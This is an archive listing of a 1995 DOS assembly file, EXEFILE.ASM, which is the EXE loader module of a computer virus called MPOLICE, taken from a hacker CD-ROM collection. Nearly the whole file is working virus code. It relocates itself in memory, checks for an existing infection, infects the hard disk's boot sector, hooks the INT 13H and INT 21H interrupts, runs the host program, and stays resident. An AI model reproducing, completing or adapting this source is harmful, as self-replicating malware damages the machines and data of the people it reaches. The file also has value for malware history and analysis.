home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / MPOLICE / EXEFILE.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-07-03  |  7.2 KB  |  177 lines

  1. ;EXEFILE.ASM for use with MPOLICE.ASM
  2.  
  3. STACKSIZE       EQU     400H
  4.  
  5. ;Here is the startup code for an EXE file. Basically, it adjusts the segments
  6. ;so that it can call all the other routines, etc., in the virus. Then it
  7. ;attempts to infect the hard disk, installs INT 13H and INT 21H hooks,
  8. ;and passes control to the host.
  9. START_EXE:
  10.         mov     bx,OFFSET BBS                   ;calcuate amount to move segment
  11.         mov     cl,4
  12.         shr     bx,cl                           ;amount to subtract is in ax
  13.         mov     ax,cs
  14.         sub     ax,bx
  15.         push    ax                              ;prep for retf to proper seg:ofs
  16.         mov     bx,OFFSET RELOCATE
  17.         push    bx
  18.         retf                                    ;jump to RELOCATE
  19.  
  20. RELOCATE:
  21.         mov     ax,cs                           ;fix segments
  22.         mov     ds,ax
  23.         mov     [LOWMEM],1                      ;set these variables for
  24.         mov     [HOOK21],1                      ;EXE-based execution
  25.         mov     ax,75A9H                        ;fake DOS call
  26.         int     13H                             ;to see if virus is there
  27.         jc      INSTALL_VIRUS                   ;nope, go install it
  28.  
  29. RET_TO_HOST:                                    ;else pass control to the host
  30.         mov     ax,es                           ;get PSP
  31.         add     ax,10H                          ;ax=relocation pointer
  32.         add     WORD PTR [HOSTC+2],ax           ;relocate host cs and ss
  33.         add     [HOSTS],ax
  34.         cli
  35.         mov     ax,[HOSTS]                      ;set up host stack
  36.         mov     ss,ax
  37.         mov     ax,[HOSTS+2]
  38.         mov     sp,ax
  39.         push    es                              ;set ds=psp
  40.         pop     ds
  41.         sti
  42.         jmp     DWORD PTR cs:[HOSTC]            ;and jump to host
  43.  
  44. INSTALL_VIRUS:
  45.         push    es                              ;save PSP address
  46.         xor     ax,ax
  47.         mov     es,ax
  48.         mov     bx,0FFH*4                       ;save INT 0FFH vector
  49.         mov     ax,es:[bx]
  50.         mov     WORD PTR [OLD_FFH],ax
  51.         mov     ax,es:[bx+2]
  52.         mov     WORD PTR [OLD_FFH+2],ax
  53.         mov     es:[bx],0A4F3H                  ;put "rep movsb" here
  54.         mov     BYTE PTR es:[bx+2],0CBH         ;put "retf" here
  55.         mov     si,OFFSET BBS                   ;ds:si points to start of virus now
  56.         pop     es
  57.         mov     di,100H                         ;es:di points to where we want it
  58.         mov     ax,es
  59.         mov     dx,OFFSET BBS - 100H
  60.         mov     cl,4
  61.         shr     dx,cl
  62.         sub     ax,dx                           ;calculate seg to ret to
  63.         mov     cx,OFFSET ENDCODE - OFFSET BBS  ;size to move
  64.         push    ax                              ;put PSP:OFFSET DO_INSTALL on stk
  65.         mov     ax,OFFSET DO_INSTALL
  66.         push    ax
  67.         xor     ax,ax                           ;and put @ of INT FFH vector
  68.         push    ax                              ;on the stack
  69.         mov     ax,0FFH*4
  70.         push    ax
  71.         retf                                    ;jump to code in INT FF vector
  72.  
  73. DO_INSTALL:                                     ;now we're executing where we want
  74.         push    cs
  75.         pop     ds                              ;ds=cs=new seg now
  76.         cli
  77.         mov     ax,cs                           ;move the stack now
  78.         mov     ss,ax
  79.         mov     sp,OFFSET ENDCODE + 400H
  80.         sti
  81.         xor     ax,ax
  82.         mov     es,ax
  83.         mov     ax,WORD PTR [OLD_FFH]           ;restore INT FFH vector now
  84.         mov     es:[bx],ax
  85.         mov     ax,WORD PTR [OLD_FFH+2]
  86.         mov     es:[bx+2],ax
  87.  
  88.         mov     ah,13H                          ;use this to hook int 13H
  89.         mov     dx,OFFSET INT_13H               ;at a low level
  90.         mov     bx,dx
  91.         int     2FH
  92.         mov     WORD PTR cs:[OLD_13H],dx        ;and save old vector here
  93.         mov     WORD PTR cs:[OLD_13H+2],ds
  94.  
  95.         push    cs
  96.         pop     es
  97.         push    cs
  98.         pop     ds
  99.         call    IS_HARD_THERE                   ;see if a hard disk exists here
  100.         jz      INST_INTR                       ;no hard disk, go install ints
  101.         mov     ax,201H
  102.         mov     bx,OFFSET SCRATCHBUF
  103.         mov     cx,1
  104.         mov     dx,80H
  105.         pushf
  106.         call    DWORD PTR [OLD_13H]
  107.         jc      INST_INTR                       ;error reading, go install ints
  108.         call    IS_VBS                          ;and see if C: is infected
  109.         jz      INST_INTR                       ;yes, all done booting
  110.         call    INFECT_HARD                     ;else go infect hard drive C:
  111.  
  112. INST_INTR:
  113.         xor     ax,ax
  114.         mov     ds,ax
  115.         mov     si,21H*4                        ;save the old int 21H vector
  116.         mov     di,OFFSET OLD_21H
  117.         movsw
  118.         movsw
  119.         mov     ds:[si-4],OFFSET INT_21H        ;and install a new one
  120.         mov     ds:[si-2],cs
  121.         push    cs
  122.         pop     ds
  123.  
  124.         mov     ah,62H
  125.         int     21H                             ;set es=PSP again
  126.         mov     es,bx
  127.         mov     bx,OFFSET ENDCODE - OFFSET BBS + 500H
  128.         mov     cl,4
  129.         shr     bx,cl                           ;resize memory now
  130.         inc     bx
  131.         mov     ah,4AH                          ;in preparation for DOS EXEC
  132.         int     21H
  133.  
  134.         mov     bx,2CH
  135.         mov     es,es:[bx]                      ;get environment segment
  136.         xor     di,di
  137.         mov     cx,7FFFH
  138.         xor     al,al
  139. ENVLP:  repnz   scasb                           ;scan the environment
  140.         cmp     BYTE PTR es:[di],al             ;double zero?
  141.         loopnz  ENVLP                           ;no, continue looking for end
  142.         mov     dx,di
  143.         add     dx,3                            ;es:dx=this programs path
  144.         mov     [EXEC_BLK],es                   ;set environment seg
  145.         push    es
  146.         pop     ds                              ;ds=env seg
  147.         mov     ah,62H
  148.         int     21H                             ;set es=PSP again
  149.         mov     es,bx
  150.         mov     cs:[EXEC_BLK+4],es
  151.         mov     cs:[EXEC_BLK+8],es
  152.         mov     cs:[EXEC_BLK+12],es
  153.         push    cs
  154.         pop     es                              ;es=this seg
  155.         mov     ax,4B00H                        ;prep for DOS EXEC
  156.         mov     bx,OFFSET EXEC_BLK              ;data for EXEC
  157.         int     21H                             ;DOS EXEC - run host
  158.         push    ds
  159.         pop     es
  160.         mov     ah,49H                          ;free memory from EXEC
  161.         int     21H
  162.         mov     ah,4DH                          ;get return code from host
  163.         int     21H
  164.  
  165.         mov     ah,31H                          ;ok, ready to TSR
  166.         mov     dx,OFFSET ENDCODE - OFFSET BBS + 100H
  167.         mov     cl,4
  168.         shr     dx,cl
  169.         inc     dx                              ;calculate size that remains
  170.         int     21H                             ;and say goodbye;
  171.  
  172. OLD_FFH         DD      ?                       ;storage area for INT FF vector
  173. EXEC_BLK        DW      ?
  174.                 DW      80H,0
  175.                 DW      5CH,0
  176.                 DW      6CH,0
  177.